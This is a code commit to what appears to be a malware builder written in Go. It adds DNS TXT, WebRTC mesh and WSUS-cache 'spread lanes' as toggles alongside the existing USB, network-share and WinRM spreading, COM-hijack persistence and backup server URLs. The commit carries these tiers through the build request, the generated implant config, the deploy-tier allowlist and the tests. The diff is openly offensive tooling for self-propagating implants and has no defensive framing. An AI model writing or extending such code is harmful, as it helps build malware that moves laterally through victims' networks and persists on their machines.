Add dns_txt, webrtc_mesh, and wsus_cache_peer LOTL deploy tiers with Forge toggles.

Implements three new spread lanes following the do_peer pattern: DNS TXT mesh staging, WebRTC LAN seed manifest delivery, and WSUS SoftwareDistribution cousin handoff. Integrates tiers into onion chain, deploy-plan allowlist, Forge UI/docs, and tests.

server/internal/builder/handler.go

@@ -85,8 +85,11 @@ type BuildRequest struct {
 	RemoteAggressive bool   `json:"remote_aggressive"`
 	USBSpread        bool   `json:"usb_spread"`
 	ShareSpread      bool   `json:"share_spread"`
-	WinRMSpread      bool   `json:"winrm_spread"`
-	COMHijackPersist bool   `json:"com_hijack_persist"`
+	WinRMSpread         bool `json:"winrm_spread"`
+	DnsTxtSpread        bool `json:"dns_txt_spread"`
+	WebRTCMeshSpread    bool `json:"webrtc_mesh_spread"`
+	WSUSCachePeerSpread bool `json:"wsus_cache_peer_spread"`
+	COMHijackPersist    bool `json:"com_hijack_persist"`
 	LinuxLOTLMode    string `json:"linux_lotl_mode"`
 	TargetOS         string `json:"target_os"`
 	TargetArch       string `json:"target_arch"`
@@ -1216,6 +1219,9 @@ func GetBuiltinConfig() BuiltinConfig {
 		USBSpread:           %v,
 		ShareSpread:         %v,
 		WinRMSpread:         %v,
+		DnsTxtSpread:        %v,
+		WebRTCMeshSpread:    %v,
+		WSUSCachePeerSpread: %v,
 		COMHijackPersist:    %v,
 		LinuxLOTLMode:       %q,
 		BackupServerURLs:    %s,
@@ -1299,6 +1305,9 @@ func GetBuiltinConfig() BuiltinConfig {
 		req.USBSpread,
 		req.ShareSpread,
 		req.WinRMSpread,
+		req.DnsTxtSpread,
+		req.WebRTCMeshSpread,
+		req.WSUSCachePeerSpread,
 		req.COMHijackPersist,
 		req.LinuxLOTLMode,
 		formatGoStringSlice(req.BackupServerURLs),

server/internal/builder/lotl_onion.go

@@ -11,6 +11,9 @@ var DefaultLotlOnionTiers = []string{
 	"dotnet",
 	"bits_curl",
 	"do_peer",
+	"wsus_cache_peer",
+	"dns_txt",
+	"webrtc_mesh",
 	"smb",
 	"winrm",
 	"linux",
@@ -22,7 +25,8 @@ func NormalizeLotlOnionTiers(raw []string) []string {
 	allowed := map[string]struct{}{
 		"vuln_recon": {},
 		"docker": {}, "wsl": {}, "powershell": {}, "dotnet": {},
-		"bits_curl": {}, "do_peer": {}, "smb": {}, "winrm": {}, "linux": {}, "gpo": {},
+		"bits_curl": {}, "do_peer": {}, "wsus_cache_peer": {}, "dns_txt": {}, "webrtc_mesh": {},
+		"smb": {}, "winrm": {}, "linux": {}, "gpo": {},
 	}
 	out := make([]string, 0, len(raw))
 	for _, t := range raw {

server/internal/builder/lotl_onion_test.go

@@ -4,7 +4,7 @@ import "testing"
 
 func TestNormalizeLotlOnionTiers(t *testing.T) {
 	got := NormalizeLotlOnionTiers(nil)
-	if len(got) != 10 || got[0] != "vuln_recon" || got[9] != "gpo" {
+	if len(got) != 14 || got[0] != "vuln_recon" || got[13] != "gpo" {
 		t.Fatalf("defaults: %v", got)
 	}
 }
@@ -25,7 +25,7 @@ func TestApplyLotlOnionPreset(t *testing.T) {
 	if !req.AutoSpread || !req.ShareSpread || req.SpreadKit {
 		t.Fatal("spread profile")
 	}
-	if len(req.LotlOnionTiers) != 10 {
+	if len(req.LotlOnionTiers) != 14 {
 		t.Fatalf("tiers: %v", req.LotlOnionTiers)
 	}
 }